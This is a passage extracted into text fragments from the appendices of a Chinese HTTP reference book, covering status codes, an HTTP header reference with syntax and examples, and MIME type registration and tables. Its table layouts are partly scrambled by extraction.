首部，服务器是不会接受此资源 请求的 412 Precondition Failed（先决条件失败） 如果客户端发起了一个条件请求，如果服务器无法 满足其中的某个条件，就返回这个响应码 413 Request Entity Too Large（请求实体 客户端发送的实体主体部分比服务器能够或者希望 太大） 处理的要大 414 Request URI Too Long（ 请 求 URI 客户端发送的请求所携带的请求 URL 超过了服务器 太长） 能够或者希望处理的长度 415 Unsupported Media Type（不支持的 服务器无法理解或不支持客户端所发送的实体的内 媒体类型） 容类型 416 Requested Range Not Satisfiable（所 请求报文请求的是某范围内的指定资源，但那个范 请求的范围未得到满足） 围无效，或者未得到满足 417 Expectation Failed（无法满足期望） 请求的 Expect 首部包含了一个预期内容，但服务 器无法满足 500 Internal Server Error（ 内 部 服 务 器 服务器遇到了一个错误，使其无法为请求提供服务 错误） 501 Not Implemented（未实现） 服务器无法满足客户端请求的某个功能 502 Bad Gateway（网关故障） 作为代理或网关使用的服务器遇到了来自响应链中 上游的无效响应 503 Service Unavailable（未提供此服务） 服务器目前无法为请求提供服务，但过一段时间就 可以恢复服务 504 Gateway Timeout（网关超时） 与状态码 408 类似，但是响应来自网关或代理，此网 关或代理在等待另一台服务器的响应时出现了超时 505 HTTP Version Not Supported（不支 服务器收到的请求是以它不支持或不愿支持的协议 507 持的 HTTP 版本） 版本表示的 532 ｜ 附录 B 附录C HTTP 首部参考 533 回想起第一个 HTTP 版本——版本 0.9，还是挺有趣的，因为它没有定义任何首部。"},
    {"text": "本附录提供了一些有关这些正式首部和扩展首部的背景知识， 你还可以将其作为本书各种首部的索引使用，说明了这些首部的概念和特性是在正 文的什么地方讨论的。"},
    {"text": "如果 Web 浏览器无法显示 Web 上所有的多媒 体对象类型，就可以在请求中包含 Accept 首部，这样浏览器就不会去下载它无法 使用的视频或其他对象类型了。"},
    {"text": "举例 Accept: text/*, image/* Accept: text/*, image/gif, image/jpeg; q=1 Accept-Charset 客户端用 Accept-Charset 首部来通知服务器它可以接受哪些字符集或哪些是优选 字符集。"},
    {"text": "基本语法 Accept-Charset: 1# ((charset | \"*\") [\";\" \"q\" \"=\" qvalue]) 举例 Accept-Charset: iso-latin-1 Accept-Encoding 客户端用 Accept-Encoding 首部来告知服务器它可以接受哪些编码方式。"},
    {"text": "类型 请求首部 基本语法 Accept-Encoding: 1# ((content-coding | \"*\") [\";\" \"q\" \"=\" qvalue]) 举例 Accept-Encoding:1 Accept-Encoding:gzip Accept-Encoding: compress;q=0.5, gzip;q=1 509 Accept-Language 和其他 Accept 首部一样，客户端可以通过 Accept-Language 请求首部通知服务 器可接受或优选哪些语言（比如，内容所使用的自然语言）。"},
    {"text": "类型 请求首部 基本语法 Accept-Language: 1# (language-range [\";\" \"q\" \"=\" qvalue]) language-range = ((1*8ALPHA * (\"-\" 1*8ALPHA)) | \"*\") 举例 Accept-Language: en Accept-Language: en;q=0.7, en-gb;q=0.5 注 1： 这并不是 印刷错误。"},
    {"text": "HTTP首部参考 ｜ 535 Accept-Ranges Accept-Ranges 首部与其他 Accept 首部不同——它是服务器使用的一种响应首 部，用来告知客户端它们是否接受请求资源的某个范围。"},
    {"text": "如果服务器不 支持对那个资源的范围请求，可以以适当的状态码进行响应 2，将 Accept-Ranges 的值设置为 none。 服务器可以为普通请求发送 none 值，这样客户端以后就不会发 起范围请求了。"},
    {"text": "类型 响应首部 基本语法 Accept-Ranges: 1# range-unit | none 举例 Accept-Ranges: none Accept-Ranges: bytes Age Age 首部可以告诉接收端响应已产生了多长时间。"},
    {"text": "类型 请求首部 基本语法 Authorization: authentication-scheme #authentication- param 举例 Authorization: Basic YnJpYW4tdG90dHk6T3ch Cache-Control Cache-Control 首部用于传输对象的缓存信息。"},
    {"text": "类型 通用首部 举例 Cache-Control: no-cache 511 Client-ip Client-ip 首部是一些比较老的客户端和代理使用的扩展首部，用来传输运行客户 端程序的计算机 IP 地址。"},
    {"text": "在 HTTP/1.1 中，Connection 首部的值是一个标记列表，这些标记对应各种首部名 称。 应用程序收到带有 Connection 首部的 HTTP/1.1 报文后，应该对列表进行解 析，并删除报文中所有在 Connection 首部列表中出现过的首部。"},
    {"text": "类型 通用首部 注释 虽 然 RFC 2616 没 有 专 门 声 明 将 keep-alive 作 为 连 接 标 记 使 用， 有 些 （包括那些将 HTTP/1.1 作为版本号发送的）浏览器还是会在发起请求时 使用它。"},
    {"text": "类型 实体首部 基本语法 Content-Encoding: 1# content-coding 举例 Content-Encoding: gzip Content-Encoding: compress, gzip Content-Language Content-Language 首部用来告诉想要理解对象的客户端，应该理解哪种自然语 言。"},
    {"text": "首部值中有多种 语言就说明对象适用于使用所列各种语言的用户。 这里需要说明的是，这个首部的值可能只表示了此对象目标用户的自然语言，而不 是对象中包含的所有或者任意一种语言。"},
    {"text": "如果对 HEAD HTTP 请求 的响应报文中有这个首部，此首部的值就表示如果发送的的话，实体主体部分的长 度（实际上并不发送主体）。 类型 实体首部 基本语法 Content-Length: 1*DIGIT 举例 Content-Length: 2417 Content-Location Content-Location 首部包含在一个 HTTP 报文中，给出了与报文的实体部分相对 应的 URL。 对可能有多个 URL 的对象来说，响应报文中可以包含一个 Content- Location 首部，说明用来产生响应的对象的 URL。"},
    {"text": "HTTP首部参考 ｜ 539 如果 URL 是相对的，就应该相对于 Content-Base 首部加以解释。 如果没有提供 Content-Base 首部，就应该使用请求中的 URL。 类型 实体首部 基本语法 Content-Location: (absoluteURL | relativeURL) 举例 Content-Location: http://www.joes-hardware.com/index.html Content-MD5 Content-MD5 首部是服务器用来对报文主体进行报文完整性检查的。"},
    {"text": "基本语法 Content-MD5: md5-digest 举例 Content-MD5: Q2h1Y2sgSW51ZwDIAXR5IQ== Content-Range 请求传输某范围内的文档时，产生的结果由 Content-Range 首部给出。"},
    {"text": "540 ｜ 附录 C Content-Type Content-Type 首部说明了报文中对象的媒体类型。 类型 实体首部 基本语法 Content-Type: media-type 举例 Content-Type: text/html; charset=iso-latin-1 515 Cookie Cookie 首部是用于客户端识别和跟踪的扩展首部。"},
    {"text": "但在早期的 HTTP 规范中，没有明确说明 日期的格式，因此服务器和客户端的实现者使用了一些其他格式，为了 解决这些遗留问题仍然需要支持这些格式。"},
    {"text": "下面是用 这些格式所表示的上述日期： HTTP首部参考 ｜ 541 Date: Tuesday, 03-Oct-97 02:15:31 GMT RFC 850 format Date: Tue Oct 3 02:15:31 1997 asctime( ) format 大家都不喜欢 asctime() 格式，因为它表示的是本地时间，而且没有说明时区 （比如，GMT）。"},
    {"text": "类型 实体首部 基本语法 ETag: entity-tag 举例 ETag: \"11e92a-457b-31345aa\" ETag: W/\"11e92a-457b-3134b5aa\" Expect 客户端通过 Expect 首部告知服务器它们需求某种行为。"},
    {"text": "类型 请求首部 基本语法 From: mailbox 举例 From: slurp@inktomi.com Host 客户端通过 Host 首部为服务器提供客户端想要访问的那台机器的因特网主机名和 端口号。"},
    {"text": "类型 请求首部 基本语法 If-Modified-Since: HTTP-date 举例 If-Modified-Since: Thu, 03 Oct 1997 17:15:00 GMT 518 HTTP首部参考 ｜ 543 If-Match 与 If-Modified-Since 首 部 类 似，If-Match 首 部 也 可 以 用 于 发 起 条 件 请 求。"},
    {"text": "服务器将对比 If-Match 首部的 实体标记与资源当前的实体标记，如果标记匹配，就将对象返回。 服务器应该用 If-Match 值“*”与某资源拥有的所有实体标记进行匹配。"},
    {"text": "类型 请求首部 基本语法 If-Match: (\"*\" | 1# entity-tag) 举例 If-Match: \"11e92a-457b-31345aa\" If-None-Match 与所有 If 首部一样，If-None-Match 首部可以用于发起条件请求。"},
    {"text": "类型 请求首部 基本语法 If-None-Match: (\"*\" | 1# entity-tag) 举例 If-None-Match: \"11e92a-457b-31345aa\" If-Range 与所有 If 首部一样，If-Range 首部可以用于发起条件请求。"},
    {"text": "类型 请求首部 519 基本语法 If-Range: (HTTP-date | entity-tag) 举例 If-Range: Tue, 3 Oct 1997 02:15:31 GMT If-Range: \"11e92a-457b-3134b5aa\" If-Unmodified-Since If-Unmodified-Since 和 If-Modified-Since 首 部 是 一 对“ 双 胞 胎 ”。"},
    {"text": "类型 请求首部 基本语法 If-Unmodified-Since: HTTP-date 举例 If-Unmodified-Since: Thu, 03 Oct 1997 17:15:00 GMT Last-Modified Last-Modified 首部试图提供这个实体最后一次被修改的相关信息。"},
    {"text": "比如，资源通常都是一台服务器上的文件，因此 Last-Modified 值可能就是服务器的文件系统所提供的最后修改时间。 另一方面，对于那些动态创建 的资源（比如，由脚本创建的资源），Last-Modified 值可能就是创建响应的时间。"},
    {"text": "类型 实体首部 基本语法 Last-Modified: HTTP-date 举例 Last-Modified: Thu, 03 Oct 1997 17:15:00 GMT Location 服务器可以通过 Location 首部将客户端导向某个资源的地址，这个资源可能在客 户端最后一次请求之后被移动过，也可能是在对请求的响应中创建的。 类型 响应首部 基本语法 Location: absoluteURL 举例 Location: http://www.hotbot.com 520 Max-Forwards 这个首部只能和 TRACE 方法一同使用，以指定请求所经过的代理或其他中间节点 的最大数目。"},
    {"text": "最常见的 Pragma 形式——Pragma: no-cache 是一个请求首部，通过它可以迫使 缓存在有新鲜副本可用的情况下，向原始服务器请求文档或对其进行再验证。"},
    {"text": "类型 请求首部 基本语法 Pragma: 1# pragma-directive7 举例 Pragma: no-cache 注 7： 规范中定义的唯一的一个 Pragma 指令就是 no-cache，但我们可能会碰到其他作为规范扩展而定 义的 Pragma 首部。"},
    {"text": "类型 响应首部 基本语法 Proxy-Authenticate: challenge 举例 Proxy-Authenticate: Basic realm=\"Super Secret Corporate FinancialDocuments\" Proxy-Authorization Proxy-Authorization 首部的功能与 Proxy-Authorization 首部类似。"},
    {"text": "类型 请求首部 基本语法 Proxy-Authorization: credentials 举例 Proxy-Authorization: Basic YnJpYW4tdG90dHk6T3ch 522 Proxy-Connection Proxy-Connection 首部的语义与 HTTP/1.0 Connection 首部类似。"},
    {"text": "浏 览 器 实 现 者 创 建 了 Proxy-Connection 首 部， 来 解 决 客 户 端 发 送 的 HTTP/1.0 Connection 首部被哑代理盲转发的问题。 收到被盲转发的 Connection 首部的服 务器会将客户端连接的功能与代理连接的功能混淆起来。"},
    {"text": "HTTP首部参考 ｜ 547 客 户 端 知 道 要 经 过 代 理 传 输 时， 就 会 发 送 Proxy-Connection 首 部， 而 不 是 Connection 首部。 服务器如果无法识别 Proxy-Connection 首部，就会将其忽 略，这样，对首部进行盲转发的哑代理就不会带来任何问题了。"},
    {"text": "尽管如此，这种方式确实能够处理一 些比较常见的情况，而且由于网景的 Navigator 和微软的 Internet Explorer 的较老 版本都实现了这个首部，因而代理的实现者也需要对其进行处理，更多信息参见第 4 章。"},
    {"text": "这个首部说明的是服务器支持的方法，而不是代理的，因此代理在将响应发 送给客户端之前，要对首部的方法列表加以编辑，或者将此首部删除。"},
    {"text": "请求某范围内的文档可以更有效地对大型对象发出请求（分段对其发出请求），或者 更有效地从传输错误中恢复（允许客户端请求没有完成的那部分资源）。"},
    {"text": "如果在主页 A 上点击一个链接，进入主页 B，浏览器 就会在请求中插入一个带有值 A 的 Referer 首部。 只有在你点击链接的时候，浏 览器才会插入 Referer 首部；"},
    {"text": "类型 请求首部 基本语法 Referer: (absoluteURL | relativeURL) 举例 Referer: http://www.inktomi.com/index.html 524 Retry-After 服务器可以用 Retry-After 首部告知客户端什么时候重新发送某资源的请求。"},
    {"text": "服务器还可以在将客户端重定向到资源时，通过这个首部通知客户端在对重定向的 资源发送请求之前需要等待的时间。 9 对那些正在创建动态资源的服务器来说，这个 首部是非常有用的，服务器可以通过它将客户端重定向到新创建的资源，并给出了 资源创建所需的时间。"},
    {"text": "类型 响应首部 基本语法 Retry-After: (HTTP-date | delta-seconds) 举例 Retry-After: Tue, 3 Oct 1997 02:15:31 GMT Retry-After: 120 注 9：更多有关服务器重定向响应的信息参见表 3-8。"},
    {"text": "如果编写的软件与服务器标识自己的方式有关，就应该测试服务 器软件，看看它会发回什么内容，因为这些标记会随软件及其发布版本的不同而有 所不同。"},
    {"text": "类型 响应首部 基本语法 Server: 1* (product | comment) 举例 Server: Microsoft-Internet-Information-Server/1.0 Server: Websitepro/1.1f (s/n wpo-07d0) Server: apache/1.2b6 via proxy gateway CERN-HTTPD/3.0 libwww/2.13 Set-Cookie 525 Set-Cookie 首部是 Cookie 首部的搭档。"},
    {"text": "类型 扩展响应首部 基本语法 Set-Cookie: command 举例 Set-Cookie: lastorder=00183; path=/orders Set-Cookie: private_id=519; secure Set-Cookie2 Set-Cookie2 首部是对 Set-Cookie 首部的扩展。"},
    {"text": "类型 扩展响应首部 基本语法 Set-Cookie2: command 举例 Set-Cookie2: ID=\"29046\"; Domain=\".joes-hardware.com\" Set-Cookie2: color=blue TE TE 首部的名字起得不太好（本应该将其命名为 Accept-Transfer-Encoding）， 550 ｜ 附录 C 它的功能与 Accept-Encoding 首部类似，但它是用于传输编码的。"},
    {"text": "基本语法 TE: # (transfer-codings) transfer-codings= \"trailers\" | (transfer-extension [accept-params]) 举例 TE: TE: chunked Trailer Trailer 首部用于说明报文拖挂中提供了哪些首部。"},
    {"text": "基本语法 Title: document-title 举例 Title: CNN Interactive Transfer-Encoding 如果要通过某些编码来安全地传送 HTTP 报文主体，报文中就要包含 Transfer- HTTP首部参考 ｜ 551 Encoding 首部。"},
    {"text": "类型 通用首部 基本语法 Transfer-Encoding: 1# transfer-coding 举例 Transfer-Encoding: chunked UA-(CPU, Disp, OS, Color, Pixels) 这些 User-Agent 首部是非标准的，现在也不常见了。"},
    {"text": "基本语法 \"UA\" \"-\" (\"CPU\" | \"Disp\" | \"OS\" | \"Color\" | \"Pixels\") \":\" machine-value machine-value = (cpu | screensize | os-name |display- color-depth) 举例 UA-CPU: ×86 客户端机器的 CPU UA-Disp: 640, 480, 8 客户端显示器的尺寸和色彩深度 UA-OS: Windows 95 客户端机器的操作系统 UA-Color: color8 客户端显示器的色彩深度 UA-Pixels: 640×480 客户端显示器的尺寸 Upgrade Upgrade 首部为报文发送者提供了一种手段，使其指定另一种可能完全不同协议并 将此意愿向外广播。"},
    {"text": "比如，HTTP/1.1 客户端可以向服务器发送一条 HTTP/1.0 请求， 其中包含了值为“HTTP/1.1”的 Update 首部，这样客户端就可以测试一下服务器 是否也使用 HTTP/1.1 了。 552 ｜ 附录 C 如果服务器也可以使用 HTTP/1.1，就可以发送一条适当的响应，让客户端知道可以 使用新的协议。"},
    {"text": "现在大部分服务 器都只兼容 HTTP/1.0，通过这种策略，在判定服务器确实能够使用 HTTP/1.1 之前， 客户端就不会用很多的 HTTP/1.1 首部骚扰服务器了。"},
    {"text": "类型 通用首部 基本语法 Upgrade: 1# protocol 举例 Upgrade: HTTP/2.0 User-Agent 客户端应用程序用 User-Agent 首部来标识其类型，与服务器的 Server 首部类似。"},
    {"text": "类型 请求首部 基本语法 User-Agent: 1* (product | comment) 举例 User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) Vary 服务器通过 Vary 首部来通知客户端，在服务器端的协商中会使用哪些来自客户端 请求的首部。"},
    {"text": "HTTP首部参考 ｜ 553 类型 响应首部 基本语法 Vary: (\"*\" | 1# field-name) 举例 Vary: User-Agent Via Via 首部用于在报文经过代理和网关时对其进行跟踪。"},
    {"text": "报文在向客户端或服务器传输的途中经过某个 HTTP 应用程序时，这个应用程序可 以通过 Via 首部对通过它传输的报文进行标记。 这是个 HTTP/1.1 首部，而很多较 老的应用程序会在请求和响应的 User-Agent 或 Server 首部插入类似 Via 的字 符串。"},
    {"text": "类型 通用首部 基本语法 Via: 1# (received-protocol received-by [comment])11 举例 Via: 1.1 joes-hardware.com ( Joes-Server/1.0) 上面这个例子说明报文是通过运行在机器 joes-hardware.com 上的 Joes 的服务器软 件 1.0 版传输的。"},
    {"text": "• 101 响应过时了 当知道一条响应报文已过期时（比如，原始服务器无法进行再验证时），就必须包含 这条警告信息。 • 111 再验证失败 如果缓存试图与原始服务器进行响应再验证，但由于缓存无法抵达原始服务器造成 了再验证失败，那就必须在发给客户端的响应中包含这条警告信息。"},
    {"text": "类型 响应首部 基本语法 Warning: 1# warning-value 举例 Warning: 113 530 WWW-Authenticate WWW-Authenticate 首部用于 401 Unauthorized 响应，向客户端发布一个质询认证 方案。"},
    {"text": "类型 扩展响应首部 举例 X-Cache: HIT HTTP首部参考 ｜ 555 X-Forwarded-For 很多代理服务器（比如，Squid）会用这个首部来说明某条请求都被转发给了谁。"},
    {"text": "类型 扩展请求首部 基本语法 X-Forwarded-For: addr 举例 X-Forwarded-For: 64.95.76.161 X-Pad 这个首部用来解决某些浏览器中与响应首部长度有关的 bug。"},
    {"text": "类型 扩展通用首部 基本语法 X-Serial-Number: serialno 532 举例 X-Serial-Number: 010014056 556 ｜ 附录 C 附录D MIME 类型 557 MIME 媒体类型（简称为 MIME 类型）是描述报文实体主体内容的一些标准化名称 （比如，text/html、image/jpeg）。"},
    {"text": "本附录包含了下列 MIME 类型表： • application/*——表 D-3 • audio/*——表 D-4 • chemical/*——表 D-5 • image/*——表 D-6 • message/*——表 D-7 • model/*——表 D-8 • multipart/*——表 D-9 • text/*——表 D-10 533 • video/*——表 D-11 • 其他——表 D-12 D.1 背景知识 MIME 类型最初是为多媒体电子邮件而开发的，但目前在 HTTP 和其他几种需要描 述数据对象格式和用途的协议中也使用了 MIME 类型。"},
    {"text": "• RFC 2045，“MIME: Format of Internet Message Bodies”（“MIME：因特网报文 主体的格式”） 描述了 MIME 报文结构的概况，并介绍了 HTTP 借用的 Content-Type 首部。 • RFC 2046，“MIME: Media Types”（“MIME：媒体类型”） 558 ｜ 附录 D 介绍了 MIME 类型及其结构。 • RFC 2047，“MIME: Message Header Extensions for Non-ASCII Text”（“MIME： 非 ASCII 文本的报文首部扩展”） 定义了一些在首部包含非 ASCII 字符的方式。 • RFC 2048，“MIME: Registration Procedures”（“MIME：注册过程”） 定义了如何向因特网号码分配机构（“Internet Assigned Numbers Authority，IA- NA”）注册 MIME 值。 • RFC 2049， “MIME: Conformance Criteria and Examples”（“MIME：一致性标准及实例”） 详细介绍了一致性规则，并提供了一些实例。"},
    {"text": "下面是几个例子： Content-Type: video/quicktime Content-Type: text/html; charset=\"iso-8859-6\" Content-Type: multipart/mixed; boundary=gc0p4Jq0M2Yt08j34c0p Accept: image/gif D.2.1 离散类型 MIME 类型可以直接用于描述对象类型，也可以用于描述其他对象类型的集合或类 型包。 如果直接用 MIME 类型来描述某个对象类型，它就是一种离散类型（discrete type）。"},
    {"text": "D.2.2 复合类型 如果 MIME 类型描述的是其他内容的集合或封装包，这种 MIME 类型就被称为复合 类型（composite type）。 复合类型描述的是封装包的格式。"},
    {"text": "下面是一个多部分 / 混合内容实例，每个组件都有自己的 MIME 类型： MIME类型 ｜ 559 Content-Type: multipart/mixed ; boundary=unique-boundary-1 --unique-boundary-1 Content-type: text/plain ; charset=US-ASCII Hi there, I'm some boring ASCII text... --unique-boundary-1 Content-Type: multipart/parallel ; boundary=unique-boundary-2 --unique-boundary-2 Content-Type: audio/basic ... 8000 Hz single-channel mu-law-format audio data goes here ... --unique-boundary-2 Content-Type: image/jpeg ... image data goes here ... --unique-boundary-2-- --unique-boundary-1 Content-type: text/enriched This is <bold><italic>enriched.</italic></bold> <smaller>as defined in RFC 1896</smaller> Isn't it <bigger><bigger>cool?</bigger></bigger> --unique-boundary-1 Content-Type: message/rfc822 From: (mailbox in US-ASCII) To: (address in US-ASCII) Subject: (subject in US-ASCII) Content-Type: Text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: Quoted-printable ... Additional text in ISO-8859-1 goes here ... 535 --unique-boundary-1-- D.2.4 语法 如前所述，MIME 类型由主类型、子类型和可选参数的列表组成。"},
    {"text": "560 ｜ 附录 D 表D-1 常见的主MIME类型 类 型 描 述 application 应用程序特有的内容格式（离散类型） audio 音频格式（离散类型） chemical 化学数据集（离散 IETF 扩展类型） image 图片格式（离散类型） message 报文格式（复合类型） model 三维模型格式（离散 IETF 扩展类型） multipart 多部分对象集合（复合类型） text 文本格式（离散类型） video 视频电影格式（离散类型） 子类型可以是主类型（比如，“text/text”）、IANA 注册的子类型，或者是（以“x-” 开头的）实验性扩展标记。"},
    {"text": "RFC 2046 定义的语法如下所示： TYPE := \"application\" | \"audio\" | \"image\" | \"message\" | \"multipart\" | \"text\" | \"video\" | IETF-TOKEN | X-TOKEN SUBTYPE := IANA-SUBTOKEN | IETF-TOKEN | X-TOKEN IETF-TOKEN := <extension token with RFC and registered with IANA> IANA-SUBTOKEN := <extension token registered with IANA> X-TOKEN := <\"X-\" or \"x-\" prefix, followed by any token> PARAMETER := TOKEN \"=\" VALUE VALUE := TOKEN / QUOTED-STRING TOKEN := 1*<any (US-ASCII) CHAR except SPACE, CTLs, or TSPECIALS> TSPECIALS := \"(\" | \")\" | \"<\" | \">\" | \"@\" | \",\" | \";\" | \":\" | \"\\\" | <\"> | \"/\" | \"[\" | \"]\" | \"?\" | \"=\" 536 D.3 在IANA注册MIME类型 RFC 2048 描述了 MIME 媒体类型的注册过程。"},
    {"text": "表D-2 4种MIME媒体类型注册树 注 册 树 举 例 描 述 IETF text/html（HTML 文本） IETF 树用于那些对因特网来说具有普遍意义的类 型。 新的 IETF 树媒体类型要由因特网工程指导组 （Internet Engineering Steering Group，IESG） 审 批，并且要有一个附属的标准追踪 RFC。 IETF 树类型标记中没有句点（.） 厂商（vnd.） image/vnd.fpx 厂商树用于可商用产品的媒体类型。"},
    {"text": "厂商树类型以 vnd. 开头 个人 / 不重要的（prs.） image/prs.btif 私有、个人或不重要的媒体类型可以注册在个人 （美国国家银行使用的内 树中。"},
    {"text": "基本的注册过程并不是官方的标准过程，只是一个管理过程，目的是在尽短时间内， 就能通过 IANA 对新类型的完整性检查，将其记录在注册表中。"},
    {"text": "（2）IESG 审批（仅对 IETF 树而言） 如果要将媒体类型注册到 IETF 树中去，就必须提交给 IESG 审批，而且必须有 一个附加的标准追踪 RFC。 562 ｜ 附录 D （3）IANA 注册 只要媒体类型达到了审批要求，作者就可以通过例 D-1 中的电子邮件模板向 IANA 提交注册请求，并将注册信息发送到 ietf-types@iana.org。 IANA 会注册 媒 体 类 型， 在 http://www.isi.edu/in-notes/iana/assignments/media-types/ 上 向 公 众提供该媒体类型应用程序。 D3.3 注册规则 只有在响应 IESG 批准某指定注册申请的通知时，IANA 才能在 IETF 树中注册媒体 类型。"},
    {"text": "1 例 D-1 IANA 的 MIME 注册电子邮件模板 To: ietf-types@iana.org Subject: Registration of MIME media type XXX/YYY MIME media type name: 538 注 1： 这个格式没有很严格的结构，稍做调整并不会影响信息阅读，但由机器处理则比较困难。"},
    {"text": "MIME类型 ｜ 563 MIME subtype name: Required parameters: Optional parameters: Encoding considerations: Security considerations: Interoperability considerations: Published specification: Applications which use this media type: Additional information: Magic number(s): File extension(s): Macintosh File Type Code(s): Person & email address to contact for further information: Intended usage: (One of COMMON, LIMITED USE or OBSOLETE) Author/Change controller: (Any other information that the author deems interesting may be added below this line.) D.3.5 MIME媒体类型注册 可 以 通 过 IANA 的 网 站（http://www.iana.org） 访 问 那 些 已 提 交 的 表 格。 编 写 本 书 时， 实 际 存 储 MIME 媒 体 类 型 的 数 据 库 位 于 http://www.isi.edu/in-notes/iana/ assignments/media-types/ 的 ISI Web 服务器上。"},
    {"text": "表D-3 Application MIME类型 MIME类型 描 述 扩 展 联系方式与参考文献 application/ 支持主动邮件群件系统 Readings in Groupware and Computer- activemessage Supported CooperativeWork , “Active Mail: A Framework for Integrated Groupware Applications”，Ronald M. Baecker，Morgan Kaufmann 出 版 社， ISBN1558602410 application/ 支持用安德鲁工具集创建多媒体 ez Multimedia Applications Development andrew-inset 内容 with the Andrew Toolkit ,Nathaniel S. Borenstein，Prentice Hall 出版社， AS-IN 0130366331 nsb@bellcore.com application/ 在允许对非特定用户数据进行一 RFC 1740 applefile 般 性 访 问 的 同 时， 允 许 对 带 有 Apple/Macintosh 特有信息的数据 进行基于 MIME 的传输 application/ ATOMICMAIL 是 贝 尔 通 信 研 究 “ATOMICMAIL Language Reference atomicmail 所 的 一 个 实 验 型 研 究 项 目， 设 Manual”，Nathaniel S. Borenstein， 计 用 来 在 电 子 邮 件 报 文 中 包 含 贝尔科技备忘录，TM ARH-018429 一 些 在 阅 读 邮 件 时 会 执 行 的 程 序。 对 safe-tcl 的 支 持 会 很 快 使 ATOMICMAIL 过时 application/ 定义了一个 MIME 内容类型，可 RFC 2442 batch-SMTP 以用隧道方式通过任意能够进行 MIME 传 输 的 路 径 实 现 ESMTP 邮件事务 MIME类型 ｜ 565 （续） MIME类型 描 述 扩 展 联系方式与参考文献 application/ 支 持 名 为 BEEP 的 交 互 协 议。 RFC 3080 beep+xml BEEP 支 持 在 对 等 实 体 之 间 对 MIME 报文进行同步且独立的交 互， 这 些 报 文 通 常 都 是 XML 结 540 构的文本 application/cals- 支持对美国国防部数字数据进行 RFC1895 1840 MIME 电子邮件交换，早期这些 数 据 是 MILSTD-1840 定 义 的 由 磁带实现数据交换的 application/ Common Ground 是个电子文档交 Nick Gault commonground 换及发布程序，允许用户创建一 No Hands 软件 些文档，这些文档无需在系统中 ngault@nohands.com 创建任何应用程序或字体，所有 人都可以查看、搜索和打印 application/ 支 持 通 过 CyberCash 协议进行信 RFC 1898 cybercash 用卡支付。 用户开始付费时，商 家会向客户发送一条报文，作为 MIME 类 型 application/cybercash 的报文主体使用 application/dca- IBM 文档内容结构 “IBM Document Content Architec-ture/ rft Revisable Form Text Reference”， 文 档号 SC23-0758-1，国际商用机器公 司（International Business Machines， IBM） application/dec- DEC 的文档传输格式 “Digital Document Transmission dx (DX) Technical Notebook”， 文 档 号 EJ29141-86，数字设备公司（DEC， Digital Equipment Corporation） application/dvcs 支 持 DVCS（Data Validation and RFC 3029 Certification Server，数据验证及 证书服务器）所使用的协议，该 服务器在公共密钥安全架构中作 为第三方受信站点使用的 application/ 支 持 通 过 EDI（electronic data http://www.isi.edu/in-notes/iana/ass- EDI-Consent interchange， 电 子 数 据 交 换 ） 用 ignments/media-types/application/ 非标准的规范进行双边贸易 EDI-Consent 566 ｜ 附录 D （续） MIME类型 描 述 扩 展 联系方式与参考文献 application/ 支 持 通 过 EDI 用 ASC X12 EDI http://www.isi.edu/in-notes/iana/ EDI-X12 规范进行双边贸易 assignments/media-types/application/ EDI-X12 application/ 支 持 通 过 EDI 用 EDIFACT 规 范 http://www.isi.edu/in-notes/iana/ EDIFACT 进行双边贸易 assignments/media-types/application/ EDIFACT application/ 未知 Steve Katz eshop 系统结构商店 steve_katz@eshop.com application/ 定 义 了 包 含 一 组 字 形 的 PFR RFC 3073 font-tdpfr （Portable Font Resource，便携式 字体资源），每个字形都与一个字 符码相关 541 application/http 用于封装由一条或多条 HTTP 请求或 RFC 2616 响应报文（不混合）构成的管道 application/ 支 持 HyperStudio 教 学 超 媒 体 文 stk http://www.hyperstudio.com hyperstudio 件的传输 application/iges CAD 模型交换的常用格式 “ANS/US PRO/IPO-100” U.S. Product Data Association2722 Merrilee Drive, Suite 200 Fairfax, VA 22031-4499 application/ 支 持 CIP（Common Indexing RFC 2652、RFC 2651、RFC1913 和 index Protocol， 公 共 索 引 协 议 ）。 CIP RFC1914 application/ 是 对 Whois++ 目 录 服 务 的 发 展， index.cmd 用 于 在 服 务 器 间 传 送 索 引 信 息， application/ 以便通过分布式数据库系统来重 index.obj 定向或复制请求 application/ index.response application/ index.vnd application/iotp 支 持 在 HTTP 上 发 送 IOTP（Inte- RFC 2935 rnet Open Trading Protocol， 因 特 网开放贸易协议）报文 MIME类型 ｜ 567 （续） MIME类型 描 述 扩 展 联系方式与参考文献 application/ipp 支持在 HTTP 上使用 IPP（Internet RFC 2910 Printing Protocol，因特网打印协 议） application/ 将 8 位字节的字符串编码为 7 位 hqx RFC 1341 mac-binhex40 字节的字符串，这样对某些应用 程序来说更安全一些（没有 6 位 的 Base-64 编码安全） application/mac- 来自 Apache 的 mime.types cpt compactpro application/ Claris MacWrite II macwriteii application/marc MARC 对象是机读编目记录—— mrc RFC 2220 书目及相关信息的表示和通信标 准 application/ 支 持 Mathematica 和 MathReader nb、ma、 The Mathematica Book ，Stephen mathematica 数值分析软件 mb Wolfram， 剑 桥 大 学 出 版 社，ISBN application/ 0521643147 mathematica-old application/ 微软的 Word MIME 类型 doc msword application/news- RFC 822（ 报 文 ID）、RFC1036 （ 新 message-id 闻应用程序）以及 RFC977 （NNTP） application/news- 允许通过电子邮件或其他传输方 RFC 1036 transmission 式传送新闻文章 application/ 支持 OCSP（Online Certificate orq RFC 2560 ocsp-request Status Protocol，在线证书状态协 议），此协议提供了一种无需本地 证书撤销列表即可查看数字证书 542 有效性的方法 application/ 同上 ors RFC 2560 ocsp-response application/ 未分类的二进制数据 bin、dms、 RFC 1341 octet-stream lha、lzh、 exe、class 568 ｜ 附录 D （续） MIME类型 描 述 扩 展 联系方式与参考文献 application/oda 根 据 ODA（Office Document oda RFC 1341 Architecture，办公文档结构）标 ISO 8613；"},
    {"text": "Interchange Format (ODIF)”， 第 1-8 Content-Type 行也应该像： 部分，1989 年 Content-Type:application/ oda;profile=Q112 这样指定用来说明 DAP（document application profile， 文 档 应 用 外 观）的属性 / 值对 application/ RTP 数据流的前向纠错奇偶码 RFC 3009 parityfec application/pdf Adobe PDF 文件 pdf 参见 Portable Document Format Reference Manual ，Adobe System, Inc. Addison Wesley，ISBN0201626284 application/pgp- PGP 加密数据 RFC 2015 encrypted application/pgp- PGP 公共密钥块 RFC 2015 keys application/pgp- PGP 加密签名 RFC 2015 signature application/ 公 共 密 钥 加 密 系 统 #10——传 输 p10 RFC 2311 pkcs10 PKCS #10 证书请求时，主体类型 必须用 application/pkcs10 application/ 公共密钥加密系统 #7——这种类 p7m RFC 2311 pkcs7-mime 型 用 于 传 送 包 括 envelopedData 和 